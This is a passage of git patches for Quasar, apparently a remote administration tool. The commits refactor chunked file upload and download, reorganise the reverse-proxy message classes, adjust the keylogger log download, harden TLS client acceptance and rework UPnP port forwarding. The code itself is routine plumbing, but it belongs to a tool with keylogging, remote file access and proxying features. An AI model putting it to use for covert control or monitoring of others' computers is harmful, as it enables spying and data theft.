[ProtoContract] - public class DoDownloadFileResponse : IMessage - { - [ProtoMember(1)] - public int Id { get; set; } - - [ProtoMember(2)] - public string Filename { get; set; } - - [ProtoMember(3)] - public byte[] Block { get; set; } - - [ProtoMember(4)] - public int MaxBlocks { get; set; } - - [ProtoMember(5)] - public int CurrentBlock { get; set; } - - [ProtoMember(6)] - public string CustomMessage { get; set; } - } -} diff --git a/Quasar.Common/Messages/DoUploadFile.cs b/Quasar.Common/Messages/DoUploadFile.cs deleted file mode 100644 index 0adfc7ced..000000000 --- a/Quasar.Common/Messages/DoUploadFile.cs +++ /dev/null @@ -1,23 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class DoUploadFile : IMessage - { - [ProtoMember(1)] - public int Id { get; set; } - - [ProtoMember(2)] - public string RemotePath { get; set; } - - [ProtoMember(3)] - public byte[] Block { get; set; } - - [ProtoMember(4)] - public int MaxBlocks { get; set; } - - [ProtoMember(5)] - public int CurrentBlock { get; set; } - } -} diff --git a/Quasar.Common/Messages/DoDownloadFileCancel.cs b/Quasar.Common/Messages/FileTransferCancel.cs similarity index 56% rename from Quasar.Common/Messages/DoDownloadFileCancel.cs rename to Quasar.Common/Messages/FileTransferCancel.cs index 15270c9de..f4e708e80 100644 --- a/Quasar.Common/Messages/DoDownloadFileCancel.cs +++ b/Quasar.Common/Messages/FileTransferCancel.cs @@ -3,9 +3,12 @@ namespace Quasar.Common.Messages { [ProtoContract] - public class DoDownloadFileCancel : IMessage + public class FileTransferCancel : IMessage { [ProtoMember(1)] public int Id { get; set; } + + [ProtoMember(2)] + public string Reason { get; set; } } } diff --git a/Quasar.Common/Messages/FileTransferChunk.cs b/Quasar.Common/Messages/FileTransferChunk.cs new file mode 100644 index 000000000..4da148a83 --- /dev/null +++ b/Quasar.Common/Messages/FileTransferChunk.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferChunk : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public long FileSize { get; set; } + + [ProtoMember(4)] + public FileChunk Chunk { get; set; } + } +} diff --git a/Quasar.Common/Messages/DoDownloadFile.cs b/Quasar.Common/Messages/FileTransferRequest.cs similarity index 82% rename from Quasar.Common/Messages/DoDownloadFile.cs rename to Quasar.Common/Messages/FileTransferRequest.cs index a38e4b161..3c9bfe7fa 100644 --- a/Quasar.Common/Messages/DoDownloadFile.cs +++ b/Quasar.Common/Messages/FileTransferRequest.cs @@ -3,12 +3,12 @@ namespace Quasar.Common.Messages { [ProtoContract] - public class DoDownloadFile : IMessage + public class FileTransferRequest : IMessage { [ProtoMember(1)] - public string RemotePath { get; set; } + public int Id { get; set; } [ProtoMember(2)] - public int Id { get; set; } + public string RemotePath { get; set; } } } diff --git a/Quasar.Common/Messages/ReverseProxyConnect.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs similarity index 87% rename from Quasar.Common/Messages/ReverseProxyConnect.cs rename to Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs index 79b1ab071..cd870eae9 100644 --- a/Quasar.Common/Messages/ReverseProxyConnect.cs +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs @@ -1,6 +1,6 @@ using ProtoBuf; -namespace Quasar.Common.Messages +namespace Quasar.Common.Messages.ReverseProxy { [ProtoContract] public class ReverseProxyConnect : IMessage diff --git a/Quasar.Common/Messages/ReverseProxyConnectResponse.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs similarity index 91% rename from Quasar.Common/Messages/ReverseProxyConnectResponse.cs rename to Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs index 40b48663a..57fa857f3 100644 --- a/Quasar.Common/Messages/ReverseProxyConnectResponse.cs +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs @@ -1,6 +1,6 @@ using ProtoBuf; -namespace Quasar.Common.Messages +namespace Quasar.Common.Messages.ReverseProxy { [ProtoContract] public class ReverseProxyConnectResponse : IMessage diff --git a/Quasar.Common/Messages/ReverseProxyData.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs similarity index 83% rename from Quasar.Common/Messages/ReverseProxyData.cs rename to Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs index ca8919fd6..5f34679c1 100644 --- a/Quasar.Common/Messages/ReverseProxyData.cs +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs @@ -1,6 +1,6 @@ using ProtoBuf; -namespace Quasar.Common.Messages +namespace Quasar.Common.Messages.ReverseProxy { [ProtoContract] public class ReverseProxyData : IMessage diff --git a/Quasar.Common/Messages/ReverseProxyDisconnect.cs b/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs similarity index 79% rename from Quasar.Common/Messages/ReverseProxyDisconnect.cs rename to Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs index 7e7a8a128..2399e0601 100644 --- a/Quasar.Common/Messages/ReverseProxyDisconnect.cs +++ b/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs @@ -1,6 +1,6 @@ using ProtoBuf; -namespace Quasar.Common.Messages +namespace Quasar.Common.Messages.ReverseProxy { [ProtoContract] public class ReverseProxyDisconnect : IMessage diff --git a/Quasar.Common/Models/FileChunk.cs b/Quasar.Common/Models/FileChunk.cs new file mode 100644 index 000000000..cab556461 --- /dev/null +++ b/Quasar.Common/Models/FileChunk.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileChunk + { + [ProtoMember(1)] + public long Offset { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index ac99c2737..8f85b71ba 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -60,8 +60,10 @@ + + @@ -72,13 +74,13 @@ + - @@ -102,10 +104,10 @@ - - - - + + + + @@ -118,8 +120,8 @@ - - + + @@ -135,7 +137,6 @@ - diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs index d95b3137e..af0c660a0 100644 --- a/Quasar.Server/Forms/FrmFileManager.cs +++ b/Quasar.Server/Forms/FrmFileManager.cs @@ -294,8 +294,6 @@ private void downloadToolStripMenuItem_Click(object sender, EventArgs e) string remotePath = GetAbsolutePath(files.SubItems[0].Text); _fileManagerHandler.BeginDownloadFile(remotePath); - - //AddTransfer(id, "Download", "Pending...", files.SubItems[0].Text); } } } diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index 0a54e5960..7b515836f 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -500,7 +500,7 @@ private void updateToolStripMenuItem_Click(object sender, EventArgs e) if (c == null) continue; if (error) continue; - FileSplit srcFile = new FileSplit(path); + var srcFile = new FileSplitLegacy(path); if (srcFile.MaxBlocks < 0) { MessageBox.Show($"Error reading file: {srcFile.LastError}", @@ -682,7 +682,7 @@ private void localFileToolStripMenuItem_Click(object sender, EventArgs e) if (c == null) continue; if (error) continue; - FileSplit srcFile = new FileSplit(path); + var srcFile = new FileSplitLegacy(path); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), diff --git a/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs index ad8e2c286..ccd375b81 100644 --- a/Quasar.Server/Messages/FileManagerHandler.cs +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -1,5 +1,4 @@ using Quasar.Common.Enums; -using Quasar.Common.Helpers; using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Models; @@ -142,7 +141,8 @@ public FileManagerHandler(Client client) : base(true) } /// - public override bool CanExecute(IMessage message) => message is DoDownloadFileResponse || + public override bool CanExecute(IMessage message) => message is FileTransferChunk || + message is FileTransferCancel || message is GetDrivesResponse || message is GetDirectoryResponse || message is SetStatusFileManager; @@ -155,9 +155,12 @@ public override void Execute(ISender sender, IMessage message) { switch (message) { - case DoDownloadFileResponse file: + case FileTransferChunk file: Execute(sender, file); break; + case FileTransferCancel cancel: + Execute(sender, cancel); + break; case GetDrivesResponse drive: Execute(sender, drive); break; @@ -176,8 +179,56 @@ public override void Execute(ISender sender, IMessage message) /// The remote path of the file to download. public void BeginDownloadFile(string remotePath) { + if (string.IsNullOrEmpty(remotePath)) + return; + int id = GetUniqueFileTransferId(); - _client.Send(new DoDownloadFile {RemotePath = remotePath, Id = id}); + + if (!Directory.Exists(_baseDownloadPath)) + Directory.CreateDirectory(_baseDownloadPath); + + string fileName = Path.GetFileName(remotePath); + string downloadPath = Path.Combine(_baseDownloadPath, fileName); + + int i = 1; + while (File.Exists(downloadPath)) + { + // rename file if it exists already + var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); + downloadPath = Path.Combine(_baseDownloadPath, newFileName); + i++; + } + + var transfer = new FileTransfer + { + Id = id, + Type = TransferType.Download, + LocalPath = downloadPath, + RemotePath = fileName, + Status = "Pending...", + //Size = fileSize, TODO: Add file size here + TransferredSize = 0 + }; + + try + { + transfer.FileSplit = new FileSplit(transfer.LocalPath, FileAccess.Write); + } + catch (Exception) + { + transfer.Status = "Error writing file"; + OnFileTransferUpdated(transfer); + return; + } + + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } + + OnFileTransferUpdated(transfer); + + _client.Send(new FileTransferRequest {RemotePath = remotePath, Id = id}); } /// @@ -197,88 +248,97 @@ public void BeginUploadFile(string localPath, string remotePath) Type = TransferType.Upload, LocalPath = localPath, RemotePath = remotePath, - Status = "Pending..." + Status = "Pending...", + TransferredSize = 0 }; - lock (_syncLock) + try { - _activeFileTransfers.Add(transfer); + transfer.FileSplit = new FileSplit(localPath, FileAccess.Read); } - - FileSplit srcFile = new FileSplit(localPath); - if (srcFile.MaxBlocks < 0) + catch (Exception) { transfer.Status = "Error reading file"; OnFileTransferUpdated(transfer); return; } - // TODO: change to real size - transfer.Size = srcFile.MaxBlocks; - OnFileTransferUpdated(transfer); + transfer.Size = transfer.FileSplit.FileSize; - _limitThreads.WaitOne(); - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) + lock (_syncLock) { - decimal progress = - Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); - - transfer.TransferredSize = currentBlock + 1; - transfer.Status = $"Uploading...({progress}%)"; - OnFileTransferUpdated(transfer); + _activeFileTransfers.Add(transfer); + } - bool transferCanceled; - lock (_syncLock) - { - transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0; - } + transfer.Size = transfer.FileSplit.FileSize; + OnFileTransferUpdated(transfer); - if (transferCanceled) + _limitThreads.WaitOne(); + try + { + foreach (var chunk in transfer.FileSplit) { - transfer.Status = "Canceled"; + transfer.TransferredSize += chunk.Data.Length; + decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); + transfer.Status = $"Uploading...({progress}%)"; OnFileTransferUpdated(transfer); - _limitThreads.Release(); - return; - } - if (srcFile.ReadBlock(currentBlock, out var block)) - { + bool transferCanceled; + lock (_syncLock) + { + transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0; + } + + if (transferCanceled) + { + transfer.Status = "Canceled"; + OnFileTransferUpdated(transfer); + _limitThreads.Release(); + return; + } + // blocking sending might not be required, needs further testing - _client.SendBlocking(new DoUploadFile + _client.SendBlocking(new FileTransferChunk { Id = id, - RemotePath = remotePath, - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock + Chunk = chunk, + FilePath = remotePath, + FileSize = transfer.Size }); } - else + } + catch (Exception) + { + lock (_syncLock) { - transfer.Status = "Error reading file"; - OnFileTransferUpdated(transfer); - _limitThreads.Release(); - return; + // if transfer is already cancelled, just return + if (_activeFileTransfers.Count(f => f.Id == transfer.Id) == 0) + { + _limitThreads.Release(); + return; + } } + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); + _limitThreads.Release(); + return; } - _limitThreads.Release(); transfer.Status = "Completed"; OnFileTransferUpdated(transfer); + RemoveFileTransfer(transfer.Id); + _limitThreads.Release(); }).Start(); } /// /// Cancels a file transfer. /// - /// The Id of the file transfer to cancel. + /// The id of the file transfer to cancel. public void CancelFileTransfer(int transferId) { - _client.Send(new DoDownloadFileCancel {Id = transferId}); - lock (_syncLock) - { - _activeFileTransfers.RemoveAll(s => s.Id == transferId); - } + _client.Send(new FileTransferCancel {Id = transferId}); } /// @@ -342,7 +402,7 @@ public void RefreshDrives() _client.Send(new GetDrives()); } - private void Execute(ISender client, DoDownloadFileResponse message) + private void Execute(ISender client, FileTransferChunk message) { FileTransfer transfer; lock (_syncLock) @@ -351,81 +411,56 @@ private void Execute(ISender client, DoDownloadFileResponse message) } if (transfer == null) - { - // don't escape from download directory - if (FileHelper.HasIllegalCharacters(message.Filename)) - { - // disconnect malicious client - client.Disconnect(); - return; - } - - if (!Directory.Exists(_baseDownloadPath)) - Directory.CreateDirectory(_baseDownloadPath); - - string downloadPath = Path.Combine(_baseDownloadPath, message.Filename); - - int i = 1; - while (File.Exists(downloadPath)) - { - // rename file if it exists already - var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); - downloadPath = Path.Combine(_baseDownloadPath, newFileName); - i++; - } - - transfer = new FileTransfer - { - Id = message.Id, - Type = TransferType.Download, - LocalPath = downloadPath, - RemotePath = message.Filename, // TODO: Change to absolute path - Size = message.MaxBlocks, // TODO: Change to real size - TransferredSize = 0 - }; - - lock (_syncLock) - { - _activeFileTransfers.Add(transfer); - } - } + return; - // TODO: change to += message.Block.Length - transfer.TransferredSize = message.CurrentBlock + 1; + transfer.Size = message.FileSize; + transfer.TransferredSize += message.Chunk.Data.Length; - if (!string.IsNullOrEmpty(message.CustomMessage)) + try { - // client-side error - transfer.Status = message.CustomMessage; - OnFileTransferUpdated(transfer); - return; + transfer.FileSplit.WriteChunk(message.Chunk); } - - FileSplit destFile = new FileSplit(transfer.LocalPath); - - if (!destFile.AppendBlock(message.Block, message.CurrentBlock)) + catch (Exception) { - // server-side error - transfer.Status = destFile.LastError; + transfer.Status = "Error writing file"; OnFileTransferUpdated(transfer); + CancelFileTransfer(transfer.Id); return; } - if (message.CurrentBlock + 1 == message.MaxBlocks) + if (transfer.TransferredSize == transfer.Size) { transfer.Status = "Completed"; + RemoveFileTransfer(transfer.Id); } else { - decimal progress = - Math.Round((decimal) ((double) (message.CurrentBlock + 1) / (double) message.MaxBlocks * 100.0), 2); - + decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); transfer.Status = $"Downloading...({progress}%)"; } OnFileTransferUpdated(transfer); } + private void Execute(ISender client, FileTransferCancel message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.Status = message.Reason; + OnFileTransferUpdated(transfer); + RemoveFileTransfer(transfer.Id); + // don't keep un-finished files + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); + } + } + private void Execute(ISender client, GetDrivesResponse message) { if (message.Drives?.Length == 0) @@ -444,6 +479,20 @@ private void Execute(ISender client, SetStatusFileManager message) OnReport(message.Message); } + /// + /// Removes a file transfer given the transfer id. + /// + /// The file transfer id. + private void RemoveFileTransfer(int transferId) + { + lock (_syncLock) + { + var transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == transferId); + transfer?.FileSplit?.Dispose(); + _activeFileTransfers.RemoveAll(s => s.Id == transferId); + } + } + /// /// Generates a unique file transfer id. /// @@ -456,7 +505,7 @@ private int GetUniqueFileTransferId() do { id = FileTransfer.GetRandomTransferId(); - // generate new Id until we have a unique one + // generate new id until we have a unique one } while (_activeFileTransfers.Any(f => f.Id == id)); } @@ -471,7 +520,8 @@ protected override void Dispose(bool disposing) { foreach (var transfer in _activeFileTransfers) { - _client.Send(new DoDownloadFileCancel { Id = transfer.Id }); + _client.Send(new FileTransferCancel {Id = transfer.Id}); + transfer.FileSplit?.Dispose(); } _activeFileTransfers.Clear(); diff --git a/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs index 67db8fe4f..8307d36fb 100644 --- a/Quasar.Server/Messages/KeyloggerHandler.cs +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -76,7 +76,7 @@ private void Execute(ISender client, GetKeyloggerLogsResponse message) string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html"); - FileSplit destFile = new FileSplit(downloadPath); + var destFile = new FileSplitLegacy(downloadPath); destFile.AppendBlock(message.Block, message.CurrentBlock); diff --git a/Quasar.Server/Messages/ReverseProxyHandler.cs b/Quasar.Server/Messages/ReverseProxyHandler.cs index 3402632c1..16f91e257 100644 --- a/Quasar.Server/Messages/ReverseProxyHandler.cs +++ b/Quasar.Server/Messages/ReverseProxyHandler.cs @@ -1,8 +1,9 @@ -using System.Linq; -using Quasar.Common.Messages; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; using Quasar.Common.Networking; using Quasar.Server.Networking; using Quasar.Server.ReverseProxy; +using System.Linq; namespace Quasar.Server.Messages { diff --git a/Quasar.Server/Models/FileTransfer.cs b/Quasar.Server/Models/FileTransfer.cs index 73360febd..b62cd8f6d 100644 --- a/Quasar.Server/Models/FileTransfer.cs +++ b/Quasar.Server/Models/FileTransfer.cs @@ -1,4 +1,5 @@ -using Quasar.Common.Utilities; +using Quasar.Common.IO; +using Quasar.Common.Utilities; using Quasar.Server.Enums; using System; @@ -15,6 +16,7 @@ public class FileTransfer : IEquatable public string LocalPath { get; set; } public string RemotePath { get; set; } public string Status { get; set; } + public FileSplit FileSplit { get; set; } public bool Equals(FileTransfer other) { diff --git a/Quasar.Server/ReverseProxy/ReverseProxyClient.cs b/Quasar.Server/ReverseProxy/ReverseProxyClient.cs index 9a424d267..eada088db 100644 --- a/Quasar.Server/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Server/ReverseProxy/ReverseProxyClient.cs @@ -1,10 +1,10 @@ -using System; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Server.Networking; +using System; using System.Collections.Generic; using System.IO; using System.Net.Sockets; using System.Text; -using Quasar.Common.Messages; -using Quasar.Server.Networking; namespace Quasar.Server.ReverseProxy { From 2e71989abfff400c7f986e1037c11654ba1a5d69 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 29 Oct 2018 20:36:46 +0100 Subject: [PATCH 155/229] Delete un-finished FileTransfers on closing --- Quasar.Server/Messages/FileManagerHandler.cs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs index ccd375b81..34b917ccf 100644 --- a/Quasar.Server/Messages/FileManagerHandler.cs +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -522,6 +522,8 @@ protected override void Dispose(bool disposing) { _client.Send(new FileTransferCancel {Id = transfer.Id}); transfer.FileSplit?.Dispose(); + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); } _activeFileTransfers.Clear(); From ed1bf5915539b10de0a1b190099a1daa26503164 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 31 Oct 2018 09:56:31 +0100 Subject: [PATCH 156/229] Fix server stops listening for new clients when client authentication fails --- Quasar.Server/Networking/Server.cs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs index 6f4957da9..6fe4724d1 100644 --- a/Quasar.Server/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -283,7 +283,7 @@ private void AcceptClient(object s, SocketAsyncEventArgs e) case SocketError.ConnectionReset: break; default: - throw new Exception("SocketError"); + throw new SocketException((int) e.SocketError); } e.AcceptSocket = null; // enable reuse @@ -310,9 +310,9 @@ private class PendingClient /// The status of the asynchronous operation. private void EndAuthenticateClient(IAsyncResult ar) { + var con = (PendingClient)ar.AsyncState; try { - var con = (PendingClient) ar.AsyncState; con.Stream.EndAuthenticateAsServer(ar); // only allow connection which are authenticated on both sides @@ -330,7 +330,7 @@ private void EndAuthenticateClient(IAsyncResult ar) } catch (Exception) { - Disconnect(); + con.Stream.Close(); } } From e24b0245549161a64a8c2fd2126b7b3210f9756d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 31 Oct 2018 15:50:09 +0100 Subject: [PATCH 157/229] Properly handle failed connection attempts --- Quasar.Server/Networking/Server.cs | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs index 6fe4724d1..3f840a4a7 100644 --- a/Quasar.Server/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -273,12 +273,20 @@ private void AcceptClient(object s, SocketAsyncEventArgs e) switch (e.SocketError) { case SocketError.Success: - e.AcceptSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime); - Socket client = e.AcceptSocket; - SslStream sslStream = new SslStream(new NetworkStream(client, true), false, ValidateClientCertificate); - // the sslStream owns the socket and on disposing also disposes the NetworkStream and Socket - sslStream.BeginAuthenticateAsServer(_serverCertificate, true, SslProtocols.Tls, false, EndAuthenticateClient, - new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) client.RemoteEndPoint}); + SslStream sslStream = null; + try + { + Socket clientSocket = e.AcceptSocket; + clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime); + sslStream = new SslStream(new NetworkStream(clientSocket, true), false, ValidateClientCertificate); + // the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket + sslStream.BeginAuthenticateAsServer(_serverCertificate, true, SslProtocols.Tls, false, EndAuthenticateClient, + new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint}); + } + catch (Exception) + { + sslStream?.Close(); + } break; case SocketError.ConnectionReset: break; @@ -310,7 +318,7 @@ private class PendingClient /// The status of the asynchronous operation. private void EndAuthenticateClient(IAsyncResult ar) { - var con = (PendingClient)ar.AsyncState; + var con = (PendingClient) ar.AsyncState; try { con.Stream.EndAuthenticateAsServer(ar); @@ -325,9 +333,6 @@ private void EndAuthenticateClient(IAsyncResult ar) AddClient(client); OnClientState(client, true); } - catch (ObjectDisposedException) - { - } catch (Exception) { con.Stream.Close(); From 5ff48042cd5583607931f3a576c78efc4a408a16 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 31 Oct 2018 18:13:46 +0100 Subject: [PATCH 158/229] Clean up UPnP discovery service --- Quasar.Server/Forms/FrmMain.cs | 15 +- Quasar.Server/Forms/FrmSettings.Designer.cs | 8 +- Quasar.Server/Forms/FrmSettings.cs | 55 ++------ Quasar.Server/Networking/Server.cs | 30 ++-- Quasar.Server/Networking/UPnP.cs | 144 -------------------- Quasar.Server/Networking/UPnPService.cs | 125 +++++++++++++++++ Quasar.Server/Quasar.Server.csproj | 2 +- 7 files changed, 161 insertions(+), 218 deletions(-) delete mode 100644 Quasar.Server/Networking/UPnP.cs create mode 100644 Quasar.Server/Networking/UPnPService.cs diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index 7b515836f..0f7edc67a 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -106,7 +106,7 @@ private void StartConnectionListener() { try { - ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support); + ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP); } catch (SocketException ex) { @@ -128,20 +128,10 @@ private void StartConnectionListener() private void AutostartListening() { - if (Settings.AutoListen && Settings.UseUPnP) + if (Settings.AutoListen) { - UPnP.Initialize(Settings.ListenPort); StartConnectionListener(); } - else if (Settings.AutoListen) - { - UPnP.Initialize(); - StartConnectionListener(); - } - else - { - UPnP.Initialize(); - } if (Settings.EnableNoIPUpdater) { @@ -158,7 +148,6 @@ private void FrmMain_Load(object sender, EventArgs e) private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) { ListenServer.Disconnect(); - UPnP.DeletePortMap(Settings.ListenPort); UnregisterMessageHandler(); _clientStatusHandler.Dispose(); notifyIcon.Visible = false; diff --git a/Quasar.Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs index c4b7f5123..abfae1a59 100644 --- a/Quasar.Server/Forms/FrmSettings.Designer.cs +++ b/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -136,9 +136,9 @@ private void InitializeComponent() this.chkUseUpnp.AutoSize = true; this.chkUseUpnp.Location = new System.Drawing.Point(12, 114); this.chkUseUpnp.Name = "chkUseUpnp"; - this.chkUseUpnp.Size = new System.Drawing.Size(229, 17); + this.chkUseUpnp.Size = new System.Drawing.Size(249, 17); this.chkUseUpnp.TabIndex = 8; - this.chkUseUpnp.Text = "Try to automatically port forward (UPnP)"; + this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)"; this.chkUseUpnp.UseVisualStyleBackColor = true; // // chkShowTooltip @@ -156,9 +156,9 @@ private void InitializeComponent() this.chkNoIPIntegration.AutoSize = true; this.chkNoIPIntegration.Location = new System.Drawing.Point(12, 177); this.chkNoIPIntegration.Name = "chkNoIPIntegration"; - this.chkNoIPIntegration.Size = new System.Drawing.Size(192, 17); + this.chkNoIPIntegration.Size = new System.Drawing.Size(187, 17); this.chkNoIPIntegration.TabIndex = 10; - this.chkNoIPIntegration.Text = "Activate No-Ip.com DNS Updater"; + this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater"; this.chkNoIPIntegration.UseVisualStyleBackColor = true; this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged); // diff --git a/Quasar.Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs index 0a34b4576..499724836 100644 --- a/Quasar.Server/Forms/FrmSettings.cs +++ b/Quasar.Server/Forms/FrmSettings.cs @@ -18,12 +18,7 @@ public FrmSettings(QuasarServer listenServer) InitializeComponent(); - if (listenServer.Listening) - { - btnListen.Text = "Stop listening"; - ncPort.Enabled = false; - chkIPv6Support.Enabled = false; - } + ToggleListenerSettings(!listenServer.Listening); ShowPassword(false); } @@ -64,27 +59,10 @@ private void btnListen_Click(object sender, EventArgs e) { try { - if (chkUseUpnp.Checked) - { - if (!UPnP.IsDeviceFound) - { - MessageBox.Show(this, "No available UPnP device found!", "No UPnP device", MessageBoxButtons.OK, - MessageBoxIcon.Information); - } - else - { - int outPort; - UPnP.CreatePortMap(port, out outPort); - if (port != outPort) - { - MessageBox.Show(this, "Creating a port map with the UPnP device failed!\nPlease check if your device allows to create new port maps.", "Creating port map failed", MessageBoxButtons.OK, - MessageBoxIcon.Warning); - } - } - } if(chkNoIPIntegration.Checked) NoIpUpdater.Start(); - _listenServer.Listen(port, chkIPv6Support.Checked); + _listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked); + ToggleListenerSettings(false); } catch (SocketException ex) { @@ -102,26 +80,11 @@ private void btnListen_Click(object sender, EventArgs e) { _listenServer.Disconnect(); } - finally - { - btnListen.Text = "Stop listening"; - ncPort.Enabled = false; - chkIPv6Support.Enabled = false; - } } else if (btnListen.Text == "Stop listening" && _listenServer.Listening) { - try - { - _listenServer.Disconnect(); - UPnP.DeletePortMap(port); - } - finally - { - btnListen.Text = "Start listening"; - ncPort.Enabled = true; - chkIPv6Support.Enabled = true; - } + _listenServer.Disconnect(); + ToggleListenerSettings(true); } } @@ -161,6 +124,14 @@ private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e) NoIPControlHandler(chkNoIPIntegration.Checked); } + private void ToggleListenerSettings(bool enabled) + { + btnListen.Text = enabled ? "Start listening" : "Stop listening"; + ncPort.Enabled = enabled; + chkIPv6Support.Enabled = enabled; + chkUseUpnp.Enabled = enabled; + } + private void NoIPControlHandler(bool enable) { lblHost.Enabled = enable; diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs index 3f840a4a7..952f4009a 100644 --- a/Quasar.Server/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -194,6 +194,11 @@ protected Client[] Clients /// private readonly List _clients = new List(); + /// + /// The UPnP service used to discover, create and delete port mappings. + /// + private UPnPService _UPnPService; + /// /// Lock object for the list of clients. /// @@ -219,16 +224,14 @@ protected Server(X509Certificate2 serverCertificate) /// /// Port to listen for clients on. /// If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket. - public void Listen(ushort port, bool ipv6) + /// Enables the automatic UPnP port forwarding. + public void Listen(ushort port, bool ipv6, bool enableUPnP) { if (Listening) return; this.Port = port; - - if (_handle != null) - { - _handle.Close(); - _handle = null; - } + + if (enableUPnP) + _UPnPService = new UPnPService(port); if (Socket.OSSupportsIPv6 && ipv6) { @@ -242,16 +245,9 @@ public void Listen(ushort port, bool ipv6) _handle.Bind(new IPEndPoint(IPAddress.Any, port)); } _handle.Listen(1000); - 